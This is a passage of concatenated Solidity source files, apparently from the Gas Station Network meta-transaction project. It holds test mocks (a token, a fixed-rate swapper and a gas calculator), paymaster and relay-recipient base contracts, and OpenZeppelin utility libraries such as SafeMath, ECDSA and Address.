trustedForwarder = forwarder;
}
function isOwner() public view returns (bool) {
return _msgSender() == owner();
}
event Test(address _msgSender, address msgSender);
//not a proxy method; just for testing.
function test() public {
emit Test(_msgSender(), msg.sender);
}
function execute(address target, bytes calldata func) external onlyOwner {
//solhint-disable-next-line
(bool success, bytes memory ret) = target.call(func);
require(success, string(ret));
}
function _msgSender() internal override(Context, BaseRelayRecipient) view returns (address payable) {
return BaseRelayRecipient._msgSender();
}
function _msgData() internal override(Context, BaseRelayRecipient) view returns (bytes memory) {
return BaseRelayRecipient._msgData();
}
}
// SPDX-License-Identifier:MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract TestToken is ERC20("Test Token", "TOK") {
function mint(uint amount) public {
_mint(msg.sender, amount);
}
}
// SPDX-License-Identifier:MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../interfaces/IUniswap.sol";
import "./TestToken.sol";
// naive, no-calculation swapper.
//- the exchange rate is fixed at construction
//- mints new tokens at will...
contract TestUniswap is IUniswap {
IERC20 public token;
uint public rateMult;
uint public rateDiv;
constructor(uint _rateMult, uint _rateDiv) payable {
token = new TestToken();
rateMult = _rateMult;
rateDiv = _rateDiv;
require(msg.value > 0, "must specify liquidity");
require(rateMult != 0 && rateDiv != 0, "bad mult,div");
}
// solhint-disable-next-line no-empty-blocks
receive() external payable {}
function tokenAddress() external override view returns (address out) {
return address(token);
}
function tokenToEthSwapOutput(uint256 ethBought, uint256 maxTokens, uint256 deadline) public override returns (uint256 out) {
(maxTokens, deadline);
uint tokensToSell = getTokenToEthOutputPrice(ethBought);
require(address(this).balance > ethBought, "not enough liquidity");
token.transferFrom(msg.sender, address(this), tokensToSell);
msg.sender.transfer(ethBought);
return tokensToSell;
}
function getTokenToEthInputPrice(uint256 tokensSold) external override view returns (uint256 out) {
return tokensSold * rateDiv / rateMult;
}
function tokenToEthTransferOutput(uint256 ethBought, uint256 maxTokens, uint256 deadline, address payable recipient) external override returns (uint256 out) {
(maxTokens, deadline, recipient);
require(address(this).balance > ethBought, "not enough liquidity");
uint tokensToSell = getTokenToEthOutputPrice(ethBought);
token.transferFrom(msg.sender, address(this), tokensToSell);
recipient.transfer(ethBought);
return tokensToSell;
}
function getTokenToEthOutputPrice(uint256 ethBought) public override view returns (uint256 out) {
return ethBought * rateMult / rateDiv;
}
}
// SPDX-License-Identifier:MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@opengsn/contracts/src/RelayHub.sol";
import "../TokenPaymaster.sol";
/**
* Calculate the postRelayedCall gas usage for a TokenPaymaster.
*
*/
contract TokenGasCalculator is RelayHub {
//(The Paymaster calls back calculateCharge, depositFor in the relayHub,
//so the calculator has to implement them just like a real RelayHub
// solhint-disable-next-line no-empty-blocks
constructor(
IStakeManager _stakeManager,
address _penalizer,
uint256 _maxWorkerCount,
uint256 _gasReserve,
uint256 _postOverhead,
uint256 _gasOverhead,
uint256 _maximumRecipientDeposit,
uint256 _minimumUnstakeDelay,
uint256 _minimumStake,
uint256 _dataGasCostPerByte,
uint256 _externalCallDataCostOverhead) RelayHub(_stakeManager,
_penalizer,
_maxWorkerCount,
_gasReserve,
_postOverhead,
_gasOverhead,
_maximumRecipientDeposit,
_minimumUnstakeDelay,
_minimumStake,
_dataGasCostPerByte,
_externalCallDataCostOverhead)
// solhint-disable-next-line no-empty-blocks
{}
/**
* calculate actual cost of postRelayedCall.
* usage:
* - create this calculator.
* - create an instance of your TokenPaymaster, with your token's Uniswap instance.
* - move some tokens (1000 "wei") to the calculator (msg.sender is given approval to pull them back at the end)
* - set the calculator as owner of this calculator.
* - call this method.
* - use the returned values to set your real TokenPaymaster.setPostGasUsage()
* the above can be ran on a "forked" network, so that it will have the real token, uniswap instances,
* but still leave no side-effect on the network.
*/
function calculatePostGas(TokenPaymaster paymaster) public returns (uint gasUsedByPost) {
address paymasterAddress = address(paymaster);
IERC20 token = paymaster.tokens(0);
IUniswap uniswap = paymaster.uniswaps(0);
require(token.balanceOf(address(this)) >= 1000, "calc: must have some tokens");
require(paymaster.owner() == address(this), "calc: must be owner of paymaster");
token.approve(paymasterAddress, uint(-1));
token.approve(msg.sender, uint(-1));
// emulate a "precharge"
token.transfer(paymasterAddress, 500);
paymaster.setRelayHub(IRelayHub(address(this)));
GsnTypes.RelayData memory relayData = GsnTypes.RelayData(false, 1, 0, 0, address(0), address(0), address(0), "", 0);
bytes memory ctx1 = abi.encode(this, uint(500),token,uniswap);
//with precharge
uint gas0 = gasleft();
paymaster.postRelayedCall(ctx1, true, 100, relayData);
uint gas1 = gasleft();
token.transferFrom(paymasterAddress, address(this), token.balanceOf(paymasterAddress));
gasUsedByPost = gas0 - gas1;
emit GasUsed(gasUsedByPost);
}
event GasUsed(uint gasUsedByPost);
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
interface IERC725 {
event DataChanged(bytes32 indexed key, bytes indexed value);
event OwnerChanged(address indexed ownerAddress);
event ContractCreated(address indexed contractAddress);
function owner() external view returns (address);
function changeOwner(address _owner) external;
function getData(bytes32 _key) external view returns (bytes memory _value);
function setData(bytes32 _key, bytes calldata _value) external;
function execute(uint256 _operationType, address _to, uint256 _value, bytes calldata _data) external payable;
}
// SPDX-License-Identifier:MIT
pragma solidity ^0.7.6;
//minimal uniswap we need:
interface IUniswap {
function tokenAddress() external view returns (address);
function tokenToEthSwapOutput(uint256 ethBought, uint256 maxTokens, uint256 deadline) external returns (uint256 out);
function tokenToEthTransferOutput(uint256 ethBought, uint256 maxTokens, uint256 deadline, address payable recipient) external returns (uint256 out);
function getTokenToEthOutputPrice(uint256 ethBought) external view returns (uint256 out);
function getTokenToEthInputPrice(uint256 tokensSold) external view returns (uint256 out);
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity >=0.7.6;
pragma abicoder v2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./utils/GsnTypes.sol";
import "./interfaces/IPaymaster.sol";
import "./interfaces/IRelayHub.sol";
import "./utils/GsnEip712Library.sol";
import "./forwarder/IForwarder.sol";
/**
* Abstract base class to be inherited by a concrete Paymaster
* A subclass must implement:
* - preRelayedCall
* - postRelayedCall
*/
abstract contract BasePaymaster is IPaymaster, Ownable {
IRelayHub internal relayHub;
IForwarder public override trustedForwarder;
function getHubAddr() public override view returns (address) {
return address(relayHub);
}
//overhead of forwarder verify+signature, plus hub overhead.
uint256 constant public FORWARDER_HUB_OVERHEAD = 50000;
//These parameters are documented in IPaymaster.GasAndDataLimits
uint256 constant public PRE_RELAYED_CALL_GAS_LIMIT = 100000;
uint256 constant public POST_RELAYED_CALL_GAS_LIMIT = 110000;
uint256 constant public PAYMASTER_ACCEPTANCE_BUDGET = PRE_RELAYED_CALL_GAS_LIMIT + FORWARDER_HUB_OVERHEAD;
uint256 constant public CALLDATA_SIZE_LIMIT = 10500;
function getGasAndDataLimits()
public
override
virtual
view
returns (
IPaymaster.GasAndDataLimits memory limits
) {
return IPaymaster.GasAndDataLimits(
PAYMASTER_ACCEPTANCE_BUDGET,
PRE_RELAYED_CALL_GAS_LIMIT,
POST_RELAYED_CALL_GAS_LIMIT,
CALLDATA_SIZE_LIMIT
);
}
// this method must be called from preRelayedCall to validate that the forwarder
// is approved by the paymaster as well as by the recipient contract.
function _verifyForwarder(GsnTypes.RelayRequest calldata relayRequest)
public
view
{
require(address(trustedForwarder) == relayRequest.relayData.forwarder, "Forwarder is not trusted");
GsnEip712Library.verifyForwarderTrusted(relayRequest);
}
/*
* modifier to be used by recipients as access control protection for preRelayedCall & postRelayedCall
*/
modifier relayHubOnly() {
require(msg.sender == getHubAddr(), "can only be called by RelayHub");
_;
}
function setRelayHub(IRelayHub hub) public onlyOwner {
relayHub = hub;
}
function setTrustedForwarder(IForwarder forwarder) public onlyOwner {
trustedForwarder = forwarder;
}
/// check current deposit on relay hub.
function getRelayHubDeposit()
public
override
view
returns (uint) {
return relayHub.balanceOf(address(this));
}
// any money moved into the paymaster is transferred as a deposit.
// This way, we don't need to understand the RelayHub API in order to replenish
// the paymaster.
receive() external virtual payable {
require(address(relayHub) != address(0), "relay hub address not set");
relayHub.depositFor{value:msg.value}(address(this));
}
/// withdraw deposit from relayHub
function withdrawRelayHubDepositTo(uint amount, address payable target) public onlyOwner {
relayHub.withdraw(amount, target);
}
}
// SPDX-License-Identifier: GPL-3.0-only
// solhint-disable no-inline-assembly
pragma solidity >=0.7.6;
import "./interfaces/IRelayRecipient.sol";
/**
* A base contract to be inherited by any contract that want to receive relayed transactions
* A subclass must use "_msgSender()" instead of "msg.sender"
*/
abstract contract BaseRelayRecipient is IRelayRecipient {
/*
* Forwarder singleton we accept calls from
*/
address public trustedForwarder;
function isTrustedForwarder(address forwarder) public override view returns(bool) {
return forwarder == trustedForwarder;
}
/**
* return the sender of this call.
* if the call came through our trusted forwarder, return the original sender.
* otherwise, return `msg.sender`.
* should be used in the contract anywhere instead of msg.sender
*/
function _msgSender() internal override virtual view returns (address payable ret) {
if (msg.data.length >= 20 && isTrustedForwarder(msg.sender)) {
// At this point we know that the sender is a trusted forwarder,
// so we trust that the last bytes of msg.data are the verified sender address.
// extract sender address from the end of msg.data
assembly {
ret := shr(96,calldataload(sub(calldatasize(),20)))
}
} else {
return msg.sender;
}
}
/**
* return the msg.data of this call.
* if the call came through our trusted forwarder, then the real sender was appended as the last 20 bytes
* of the msg.data - so this method will strip those 20 bytes off.
* otherwise, return `msg.data`
* should be used in the contract instead of msg.data, where the difference matters (e.g. when explicitly
* signing or hashing the
*/
function _msgData() internal override virtual view returns (bytes memory ret) {
if (msg.data.length >= 20 && isTrustedForwarder(msg.sender)) {
return msg.data[0:msg.data.length-20];
} else {
return msg.data;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () /*internal*/ {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity >=0.7.6;
pragma abicoder v2;
interface IForwarder {
struct ForwardRequest {
address from;
address to;
uint256 value;
uint256 gas;
uint256 nonce;
bytes data;
uint256 validUntil;
}
event DomainRegistered(bytes32 indexed domainSeparator, bytes domainValue);
event RequestTypeRegistered(bytes32 indexed typeHash, string typeStr);
function getNonce(address from)
external view
returns(uint256);
/**
* verify the transaction would execute.
* validate the signature and the nonce of the request.
* revert if either signature or nonce are incorrect.
* also revert if domainSeparator or requestTypeHash are not registered.
*/
function verify(
ForwardRequest calldata forwardRequest,
bytes32 domainSeparator,
bytes32 requestTypeHash,
bytes calldata suffixData,
bytes calldata signature
) external view;
/**
* execute a transaction
* @param forwardRequest - all transaction parameters
* @param domainSeparator - domain used when signing this request
* @param requestTypeHash - request type used when signing this request.
* @param suffixData - the extension data used when signing this request.
* @param signature - signature to validate.
*
* the transaction is verified, and then executed.
* the success and ret of "call" are returned.
* This method would revert only verification errors. target errors
* are reported using the returned "success" and ret string
*/
function execute(
ForwardRequest calldata forwardRequest,
bytes32 domainSeparator,
bytes32 requestTypeHash,
bytes calldata suffixData,
bytes calldata signature
)
external payable
returns (bool success, bytes memory ret);
/**
* Register a new Request typehash.
* @param typeName - the name of the request type.
* @param typeSuffix - any extra data after the generic params.
* (must add at least one param. The generic ForwardRequest type is always registered by the constructor)
*/
function registerRequestType(string calldata typeName, string calldata typeSuffix) external;
/**
* Register a new domain separator.
* The domain separator must have the following fields: name,version,chainId, verifyingContract.
* the chainId is the current network's chainId, and the verifyingContract is this forwarder.
* This method is given the domain name and version to create and register the domain separator value.
* @param name the domain's display name
* @param version the domain/protocol version
*/
function registerDomainSeparator(string calldata name, string calldata version) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return recover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
import "../utils/Address.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
return !Address.isContract(address(this));
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.7.6;
pragma abicoder v2;
import "@openzeppelin/contracts/cryptography/ECDSA.sol";
import "./IForwarder.sol";
contract Forwarder is IForwarder {
using ECDSA for bytes32;
string public constant GENERIC_PARAMS = "address from,address to,uint256 value,uint256 gas,uint256 nonce,bytes data,uint256 validUntil";
